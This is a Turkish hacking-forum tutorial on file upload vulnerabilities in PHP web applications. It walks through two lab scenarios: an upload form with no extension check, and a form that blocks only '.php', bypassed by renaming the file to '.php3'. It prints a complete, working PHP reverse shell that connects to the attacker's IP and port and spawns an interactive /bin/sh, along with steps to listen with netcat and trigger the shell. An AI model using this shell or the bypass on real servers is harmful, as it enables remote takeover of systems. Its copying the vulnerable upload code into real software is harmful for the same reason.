File Upload Web Zafiyeti!

ByMr

Yeni üye
6 May 2019
1
0
Türkiye CMS
ro3fzuc.png


lbn20fm.png
2q250vr.png


Merhaba ben saldırı timlerinden BUNJO, bu konuda "File Upload" güvenlik zafiyetini anlatacağım.

File Upload Web Zafiyeti

"File upload" web zafiyeti, bir web uygulamasının dosya yükleme işlemlerinde güvenlik açıklarını ifade eder.
Bu tür bir zafiyet, kullanıcıların web sitesine dosya yükleyebildiği durumlarda ortaya çıkar.
Eğer bu dosya yükleme işlemi yeterince güvenli bir şekilde yapılmazsa, saldırganlar çeşitli kötü niyetli aktivitelerde bulunabilir.

Pratik

Senaryo 1

Bu senaryo da filtreleme olmadan, tamamen her dosyanın yüklenmesine izin verildiği durumu anlatacağım.

Sitemize giriş yapıyoruz.



Bizden bir dosya yüklememizi istiyor.

Sayfa Kodu:



PHP:

PHP:
<?php require_once('../header.php'); ?>


<?php
if(isset($_FILES['image']))
{
  $dir = '../upload/images/';
  $file = basename($_FILES['image']['name']);
  if(move_uploaded_file($_FILES['image']['tmp_name'], $dir. $file))
  {
  echo "Upload done";
  echo "Your file can be found <a href=\"/upload/images/".htmlentities($file)."\">here</a>";
  }
  else
  {
      echo 'Upload failed';
  }
}
?>


<form method="POST" action="example1.php" enctype="multipart/form-data">
Mon image : <input type="file" name="image"><br/>
<input type="submit" name="send" value="Send file">

</form>


<?php require_once('../footer.php'); ?>

Açığın Kaynaklanma Sebebi:

Burada kodu incelediğimiz zaman

PHP:
if(isset($_FILES['image']))
{
  $dir = '../upload/images/';
  $file = basename($_FILES['image']['name']);
  if(move_uploaded_file($_FILES['image']['tmp_name'], $dir. $file))
  {
  echo "Upload done";
  echo "Your file can be found <a href=\"/upload/images/".htmlentities($file)."\">here</a>";
  }
  else
  {
      echo 'Upload failed';
  }
}
?>

Yüklenen dosya için bir uzantı kontrolü olmadığını görüyoruz, bu da bize sunucuya .php uzantılı kötü amaçlı bir kod yükleyebileceğimizi gösteriyor.

PHP Reverse Shell:

PHP:
<?php

set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.1.91';  // Kendi Adresiniz.
$port = 4535;       // Kendi Portunuz.
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
    $pid = pcntl_fork();
 
    if ($pid == -1) {
        printit("ERROR: Can't fork");
        exit(1);
    }
 
    if ($pid) {
        exit(0);
    }
    if (posix_setsid() == -1) {
        printit("Error: Can't setsid()");
        exit(1);
    }

    $daemon = 1;
} else {
    printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

chdir("/");

umask(0);

$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
    printit("$errstr ($errno)");
    exit(1);
}

$descriptorspec = array(
   0 => array("pipe", "r"),
   1 => array("pipe", "w"),
   2 => array("pipe", "w")
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
    printit("ERROR: Can't spawn shell");
    exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
    if (feof($sock)) {
        printit("ERROR: Shell connection terminated");
        break;
    }

    if (feof($pipes[1])) {
        printit("ERROR: Shell process terminated");
        break;
    }

    $read_a = array($sock, $pipes[1], $pipes[2]);
    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

    if (in_array($sock, $read_a)) {
        if ($debug) printit("SOCK READ");
        $input = fread($sock, $chunk_size);
        if ($debug) printit("SOCK: $input");
        fwrite($pipes[0], $input);
    }

    if (in_array($pipes[1], $read_a)) {
        if ($debug) printit("STDOUT READ");
        $input = fread($pipes[1], $chunk_size);
        if ($debug) printit("STDOUT: $input");
        fwrite($sock, $input);
    }

    if (in_array($pipes[2], $read_a)) {
        if ($debug) printit("STDERR READ");
        $input = fread($pipes[2], $chunk_size);
        if ($debug) printit("STDERR: $input");
        fwrite($sock, $input);
    }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
    if (!$daemon) {
        print "$string\n";
    }
}

?>

Netcat ile bir bağlantı dinleme işlemi yapacağız ve bu reverse shell kodunu yükleyerek bağlantımızı elde etmeye çalışacağız.
(Kod içinde belirttiğim kısımları kendi dinleme yaptığınız porta ve ip adresinize göre değiştiriniz.)

Dinleme işlemi:



PHP kodumu yüklüyorum.




Yükleme işlemimiz gerçekleşti fakat shell bağlantısını almamız için sunucuda kodu çalıştırmamız gerekiyor, bunun içinde yüklediğimiz dosya sayfasına gidiyoruz.



Belirtilen linke tıklayarak sayfaya gidiyorum.

Not: Gerçek senaryolarda bu kadar kolay olmayabilir yüklediğiniz dosyaya göre otomatize bir araç
veya manual el ile yükleme kaynağını bulup sayfaya ulaşmaya çalışabilirsiniz.



Dizine gidip kodun çalıştırılmasını sağladım bunun sonucunda ise bağlantımızı aldık.

Senaryo 2

Bu senaryo da sunucuda bulunan filtreleme olduğunu fark edip bunu bypass etmeye çalışacağız.

Sayfaya gittiğim zaman yine aynı yükleme ekranı beni bekliyor.



Sayfanın Kaynak Kodu:



PHP:

PHP:
<?php require_once("../header.php"); ?>

<?php
if(isset($_FILES['image']))
{
  $dir = '../upload/images/';
  $file = basename($_FILES['image']['name']);
    if (preg_match('/\.php$/',$file)) {
        DIE("NO PHP");
    }
  if(move_uploaded_file($_FILES['image']['tmp_name'], $dir . $file))
  {
  echo 'Upload done !';
  echo 'Your file can be found <a href="/upload/images/'.htmlentities($file).'">here</a>';
  }
  else
  {
      echo 'Upload failed';
  }
}
?>


<form method="POST" action="example2.php" enctype="multipart/form-data">
Image: <input type="file" name="image"><br/>
<input type="submit" name="send" value="Send file">

</form>

<?php require_once("../footer.php"); ?>

Açığın Kaynaklanma Nedeni:

Filtreleme yapılan kısım:

PHP:
if(isset($_FILES['image']))
{
  $dir = '../upload/images/';
  $file = basename($_FILES['image']['name']);
    if (preg_match('/\.php$/',$file)) {
        DIE("NO PHP");
    }
  if(move_uploaded_file($_FILES['image']['tmp_name'], $dir . $file))
  {
  echo 'Upload done !';
  echo 'Your file can be found <a href="/upload/images/'.htmlentities($file).'">here</a>';
  }
  else.


  {
      echo 'Upload failed';
  }
}

Burada bulunan filtreleme işlemsi eğer dosya uzantısı ".php" ile dosya yüklenmesini engelliyor.

Fakat biz ".php" yerine ".php3" şekline de yükleyebiliriz.

Dosya uzantımı .php3 olacak şekilde değiştiriyorum.



Bağlantı dinliyorum.



Dosyayı yüklüyorum




Aynı şekilde sayfaya gidiyorum.




Bu konuda anlatacaklarım bu kadardı, okuyan herkese teşekkür ederim.

Emeğe karşılık konuyu beğenip, yorum atmayı unutmayınız.
Eline sağlık 👌🏼
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.